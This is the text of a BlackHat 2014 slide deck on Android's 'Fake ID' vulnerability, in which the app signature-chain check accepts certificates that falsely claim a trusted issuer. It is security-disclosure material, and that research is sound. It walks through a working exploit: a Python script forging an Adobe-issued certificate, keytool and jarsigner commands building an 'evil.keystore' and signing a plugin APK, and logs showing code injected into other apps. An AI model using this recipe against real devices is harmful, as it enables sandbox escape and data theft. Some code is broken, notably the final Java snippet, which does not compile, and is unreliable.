Android Fake ID Vulnerability

Jeff Forristal / Bluebox

BlackHat US 2014
Jeff Forristal, CTO of Bluebox Security

Discovered Android Masterkey vulnerability in 2013

Contributing to the security industry for 15+ years
bug# 13678484

It is a:
• Sandbox escape
• Usable by malware
• Capable of accessing data, web traffic of other apps
• Can access NFC hardware while being used by Google Wallet
• Worst case: full system compromise

All by presenting a fake identification to an app

A.k.a. the “Fake ID” vulnerability
Application Identities / Signatures
Android applications are signed

The signature is the base of multiple security features
Subject: www.bluebox.com

-- BEGIN PUBLIC KEY ---
...

-- BEGIN PRIVATE KEY ---
...

PKI Certificates
PKI Certificates

Subject: www.bluebox.com

-- BEGIN PUBLIC KEY ---
...

-- BEGIN PRIVATE KEY ---
...

Subject: Verisign CA

-- BEGIN PUBLIC KEY ---
...

-- BEGIN PRIVATE KEY ---
...
Subject: www.bluebox.com

-- BEGIN PUBLIC KEY ---
...

Issuer: Verisign CA

Issuer Signature: … crypto …

-- BEGIN PRIVATE KEY ---
...

Subject: Verisign CA

-- BEGIN PUBLIC KEY ---
...

-- BEGIN PRIVATE KEY ---
...
PKI Verification

Subject: www.bluebox.com
-- BEGIN PUBLIC KEY ---
...
Issuer: Verisign CA
Issuer Signature: … crypto …
-- BEGIN PRIVATE KEY ---
...

Subject: Verisign CA
-- BEGIN PUBLIC KEY ---
...
-- BEGIN PRIVATE KEY ---
...
Subject: www.bluebox.com
-- BEGIN PUBLIC KEY ---
...
Issuer: Verisign CA
Issuer Signature: ... crypto ...
-- BEGIN PRIVATE KEY ---
...

Subject: Verisign CA
-- BEGIN PUBLIC KEY ---
...
Issuer: Verisign CA
Issuer Signature: ... crypto ...
-- BEGIN PRIVATE KEY ---
...
Immediate identity / signer

- Subject: client
  - Public Key
  - Issuer: SubCA1
  - Issuer Signature

- Subject: SubCA1
  - Public Key
  - Issuer: SubCA2
  - Issuer Signature

- Subject: SubCA2
  - Public Key
  - Issuer: CA
  - Issuer Signature

- Subject: CA
  - Public Key
  - Issuer: CA
  - Issuer Signature

Trusted root certificate

PKI Chaining
Vulnerability Mechanics
Applications attempt to **verify** the signing of other applications.

```java
PackageInfo pkgInfo = pkgmgr.getPackageInfo( pkg, GET_SIGNATURES )
Signatures[] signatures = pkgInfo.signatures;

for (Signature sig : signatures ){
    if ( sig.equals( TRUSTED_SIGNATURE ) ){
        // trusted signature found, trust the application
    }
}
```
// check to ensure the plugin is properly signed
Signature signatures[] = pkgInfo.signatures;
if (signatures == null) {
    return false;
}

if (SystemProperties.getBoolean("ro.secure", false)) {
    boolean signatureMatch = false;
    for (Signature signature : signatures) {
        for (int i = 0; i < SIGNATURES.length; i++) {
            if (SIGNATURES[i].equals(signature)) {
                signatureMatch = true;
                break;
            }
        }
    }
    if (!signatureMatch) {
        return false;
    }
}

return true;
The logic accepts a trusted certificate anywhere in signature/certificate chain.
if (!sig.verify(sigInfo.getEncryptedDigest())) {
    throw new SecurityException("Incorrect signature");
}

return createChain(certs[issuerCertIndex], certs);

private static X509Certificate[] createChain(X509Certificate signer, X509Certificate[] candidates) {
    LinkedHashSet chain = new LinkedHashSet();
    chain.add(0, signer);

    // Signer is self-signed
    if (signer.getSubjectDN().equals(signer.getIssuerDN())){
        return (X509Certificate[])chain.toArray(new X509Certificate[1]);
    }

    Principal issuer = signer.getIssuerDN();
    X509Certificate issuerCert;
    int count = 1;
    while (true) {
        issuerCert = findCert(issuer, candidates);
        if (issuerCert == null) {
            break;
        }
        chain.add(issuerCert);
        count++;
        if (issuerCert.getSubjectDN().equals(issuerCert.getIssuerDN())) {
            break;
        }
        issuer = issuerCert.getIssuerDN();
    }
    return (X509Certificate[])chain.toArray(new X509Certificate[count]);
}

private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates) {
    for (int i = 0; i < candidates.length; i++) {
        if (issuer.equals(candidates[i].getSubjectDN())) {
            return candidates[i];
        }
    }
    return null;
1. Verify signature with signer cert
2. Create a chain based on valid signer cert
3. Get the cert’s issuer
4. Find an included cert where included cert subject == previous cert’s issuer
5. Add that cert to the chain
A certificate can **claim** to be issued by any other certificate … … and that claim is not verified
This code can now be **easily attacked** / bypassed

```java
PackageInfo pkgInfo = pkgmgr.getPackageInfo( pkg, GET_SIGNATURES )
Signatures[] signatures = pkgInfo.signatures;

for (Signature sig : signatures ){
    if ( sig.equals( TRUSTED_SIGNATURE ) ){
        // trusted signature found, trust the application
    }
}
```
Exploitation
Review all uses of signatures in AOSP

Further review of select third-party components involving extra privileges
Webview plugin manager (all AOSP <= 4.3)
• Plugins signed by Adobe (Flash) reloaded into any/all apps using framework webview

NFC access.xml (all AOSP)
• Match a package signature wildcard (Google Wallet), get access to NFC secure element

3LM device management extensions (assorted devices)
• Former Google/Motorola technology, included with older devices

LG MDM device extensions (LG devices)
• System functions available to apps signed by LG platform signature
1. Create APK with exploit payload suitable for target

2. Isolate trusted certificate

3. Generate a new certificate

4. Set issuer to trusted certificate

5. Package all of it (new cert + target cert as a CA cert) into a PKCS12 file

6. Use the PKCS12 for exploit APK signing

```python
targetcert = OpenSSL.crypto.load_certificate( target )
pk = OpenSSL.crypto.PKey()
pk.generate_key( OpenSSL.crypto.TYPE_RSA, 1024 )
newcert = OpenSSL.crypto.X509()
newcert.get_subject().CN = "arbitrary"
newcert.set_issuer( targetcert.get_subject() )
newcert.set_pubkey( pk )
newcert.sign( pk, "sha1" )
pkcs12 = OpenSSL.crypto.PKCS12()
pkcs12.set_privatekey( pk )
pkcs12.set_certificate( cert )
pkcs12.set_ca_certificates( [targetcert] )
finalPkcs12Data = pkcs12.export( passphrase="1234" )
```
BONUS

An APK supports being signed by multiple independent signers

You can repeat signing with as many trusted certificates as you care to include

Thus one exploit can carry exploits for multiple targets at same time
jeff$ openssl x509 -in webkit_plugin.pem -noout -text | grep Subject:
Subject: C=US, ST=California, L=San Jose, O=Adobe Systems Incorporated, OU=...

jeff$ python newcert.py webkit_plugin.pem

jeff$ openssl x509 -in out.cert -noout -text
Certificate:
  Data:
    Version: 1 (0x0)
    Serial Number: 976234562 (0x3a302842)
    Signature Algorithm: sha1WithRSAEncryption
  Issuer: C=US, ST=California, L=San Jose, O=Adobe Systems Incorporated, OU=...
  Validity
    Not Before: Jun 30 23:44:40 2014 GMT
    Not After : Jun 25 23:44:40 2034 GMT
  Subject: CN=labs.bluebox.com
  Subject Public Key Info:
    Public Key Algorithm: rsaEncryption
    RSA Public Key: (1024 bit)
      Modulus (1024 bit):
      ...
jeff$ keytool -v -importkeystore -srckeystore out.pkcs12 -srcstoretype PKCS12 \ -destkeystore evil.keystore -deststoretype JKS

Enter destination keystore password:
Re-enter new password:
Enter source keystore password:
Entry for alias 1 successfully imported.
Import command completed: 1 entries successfully imported, 0 entries failed or cancelled
[Storing evil.keystore]
jeff$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore evil.keystore \  Bluebox_SampleWebkitPlugin.apk 1

Enter Passphrase for keystore:
Enter key password for 1:
  adding: META-INF/MANIFEST.MF
  adding: META-INF/1.SF
  adding: META-INF/1.RSA
  signing: AndroidManifest.xml
  signing: classes.dex
  **signing: lib/armeabi-v7a/libsampleplugin3.so**
  signing: res/drawable-mdpi/ic_launcher.png
  signing: res/drawable-mdpi/sample_browser_plugin.png
  signing: res/layout/activity_main.xml
  signing: res/menu/main.xml
  signing: resources.arsc
jeff$ adb install Bluebox_SampleWebkitPlugin.apk
1165 KB/s (39864 bytes in 0.033s)
  pkg: /data/local/tmp/Bluebox_SampleWebkitPlugin.apk
Success

I/PackageManager( 433): Running dexopt on: com.bluebox.labs.chainbreak.demo
D/dalvikvm(11123): DexOpt: load 23ms, verify+opt 6ms, 282884 bytes
I/ActivityManager( 433): Force stopping package com.bluebox.labs.chainbreak.demo appid=10083 user=-1
W/PackageManager( 433): Unknown permission android.webkit.permission.PLUGIN in package com.bluebox.labs.chainbreak.demo
I/Plugin ( 8109): Bluebox running code in this process!
I/Plugin ( 8109): -- uid=10077, pid=8109, process=com.microsoft.skydrive
I/Plugin ( 5158): Bluebox running code in this process!
I/Plugin ( 5158): -- uid=10054, pid=5158, process=com.google.android.googlequicksearchbox:search
I/Plugin (10166): Bluebox running code in this process!
I/Plugin (10166): -- uid=10081, pid=10166, process=com.salesforce.chatter
Live Demo
Mitigation
Patched, sent to OHA partners - get your OTAs in the usual manner (if ever)

BTW, released to public repo May 21st
Bluebox Security Scanner (free)
Stick to known sources for your applications

Android 4.4 (KitKat) + is immune to Flash webkit plugin
(KitKat replaced webkit webview with chromium)

Check your (older) device for 3LM extensions
(adb shell getprop | grep ro.3lm.production)

Beware of who asks for Device Admin access
(Settings -> Security -> Device Administrators)
Apache Harmony™

```java
private static X509Certificate[] createChain(X509Certificate[] issuerCerts) {
    if (issuerCerts.length == 0) {
        return X509Certificate[]; // Return empty array if no issuer certificates are provided.
    }

    X509Certificate[] chain = new X509Certificate[issuerCerts.length + 1]; // Create a new array with one extra element.
    chain[0] = issuerCerts[0]; // Add the first certificate to the chain.
    int current = 1; // Start from the second element.

    for (int i = 1; i < issuerCerts.length; i++) {
        X509Certificate issuerCert = issuerCerts[i];
        if (issuerCert != null) {
            // Find the issuer certificate in the current chain.
            if (current < chain.length) {
                while (true) {
                    X509Certificate issuerCert = findCert(issuer, candidates); // Recursive call to find the issuer certificate.
                    if (issuerCert == null) {
                        break; // Exit the loop if no issuer certificate is found.
                    }
                    chain[current++] = issuerCert; // Add the found issuer certificate to the chain.
                    if (issuerCert.getSubjectDN().equals(issuerCert.getIssuerDN())) {
                        break; // Exit the loop if subject and issuer DN match.
                    }
                    issuer = issuerCert.getIssuerDN();
                }
            }
            chain[current++] = issuerCert; // Add the current certificate to the chain.
        }
    }

    return chain; // Return the complete chain of certificates.
}
```

Afterthought